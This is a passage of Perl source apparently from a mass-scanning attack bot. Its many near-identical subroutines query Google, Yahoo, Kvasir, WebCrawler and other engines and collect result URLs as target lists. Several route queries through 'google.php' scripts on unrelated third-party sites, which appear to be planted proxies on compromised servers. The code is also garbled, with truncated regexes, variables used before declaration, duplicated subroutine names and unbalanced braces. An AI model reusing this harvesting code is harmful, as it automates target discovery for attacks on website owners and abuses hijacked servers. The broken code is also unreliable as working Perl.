my $search = ("http://www.pvcproject.reecezone.net/google.php?key=".key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google2() {
my @list;
my $key = $_[0];
my $search = ("http://www.quieroleer.es//images/stories//google.php?key=".key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google3() {
my @list;
my $key = $_[0];
my $search = ("http://www.bl.net/google.php?key=".key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google4() {
my @list;
my $key = $_[0];
my $search = ($Bp12.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google5() {
my @list;
my $key = $_[0];
my $search = ($Bp11.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google6() {
my @list;
my $key = $_[0];
my $search = ("http://shopmarykay.ru//libraries/google.php?key=".key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google7() {
my @list;
my $key = $_[0];
my $search = ($Bp5.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google8() {
my @list;
my $key = $_[0];
my $search = ($Bp4.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google9() {
my @list;
my $key = $_[0];
my $search = ($Bp3.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googlea1() {
my @list;
my $key = $_[0];
my $search = ($Bp10.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googlea2() {
my @list;
my $key = $_[0];
my $search = ($Bp2.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googleC1() {
my @list;
my $key = $_[0];
my $search = ($Bp9.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googleC2() {
my @list;
my $key = $_[0];
my $search = ($Bp8.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googleC3() {
my @list;
my $key = $_[0];
my $search = ($Bp7.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googleC4() {
my @list;
my $key = $_[0];
my $search = ($Bp6.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub googleC5() {
my @list;
my $key = $_[0];
my $search = ($By1.key($key));
my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) {
if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
return @list;
}
sub google2() {
my @list;
my $key = $_[0];
my $b = 0;
my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au",
"az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw",
"com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr",
"com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi",
"com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk",
"hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it",
"co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk",
"co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx",
"com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz",
"com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt",
"com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk",
"sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw",
"com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve",
"vg","co.vi","com.vn","vu","ws","co.za","co.zm");
foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
for ($b=1; $b<=1000; $b+=10) {
my $search = ("http://www.google.".$dom."/search?num=100&q=".&key($key)."&start=".$b."&sa=N");
my $res = search_engine_query($search);
while ($res =~ m/\"]*)/g) {
my $link = $1;
if ($link !~ /virgilio|ricerca/){
$link =~ s/\"]*)\//g) {
my $link = $1;
if ($link !~ /dMoz/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub fireball() {
my @list;
my $key = $_[0];
for ($i=1;$i<=1000;$i+=100){
my $search = ("http://www.fireball.de/ajax.asp?q=".$key."&lang=de".$i);
my $res = &search_engine_query($search);
while ($res =~ m/Succ/) {$i=500;}
while ($res =~ m/(.+?)\//g) {
if ($1 !~ /altavista/){
my $link = $1;
$link =~ s/\"]*)\//g){
if ($1 !~ /pagina|pagina's/){
my $k=$1;
my @grep=links($k);
push(@list,@grep);
}
}
}
return @list;
}
sub searchkoya {
my @list;
my $key = $_[0];
for (my $i=10; $i<=1000; $i+=100){
my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=100&q=".&key($key)."");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
my $link = $1; if ($link !~ /kvasir/){ $link =~ s/\"]*)\//g) {
my $link = $1;
if ($link !~ /msn|live|bing/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub searchoku() {
my @lst;
my $key = $_[0];
for (my $i=0; $i<=50; $i+=1){
my $search = ("http://quintura.com/?request=".key($key)."&tab=0&page=".$i."&tabid=");
my $res = search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
if ($1 !~ /google/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
} return @list;
}
}
sub yahoo7(){
my @list;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=10) {
my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=UTF-8");
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
if ($1 !~ /yahoo!7/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub becak() {
my @list;
my $key = $_[0];
my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
for ($b=1; $b<=1000; $b+=100) {
my $search = ("http://www.google.com/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N");
my $res = search_engine_query($search);
while ($res =~ m/\"]*)\//g) {
if ($1 !~ /google/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
}
sub bokep() {
my @list;
my $key = $_[0];
for ($b=0; $b<=500; $b+=50) {
my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b);
my $res = search_engine_query($search);
while ($res =~ m/(.*?)<\/h2>/g) {
if ($1 !~ /search\.xxx/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub searchnz() {
my @list;
my $key = $_[0];
for ($b=1; $b<=500; $b+=50) {
my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b);
my $res = search_engine_query($search);
while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) {
if ($1 !~ /webads\.co\.nz/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub webcrawler() {
my @list;
my $key = $_[0];
for ($i = 0 ;$i <= 1400 ;$i += 20) {
my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top");
my $re = search_engine_query($clink);
while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) {
my $link = $1;
if ($1 !~ /webcrawler\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub clusty() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=120; $b+=10) {
my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
my $res = search_engine_query($search);
while ($res =~ m/ |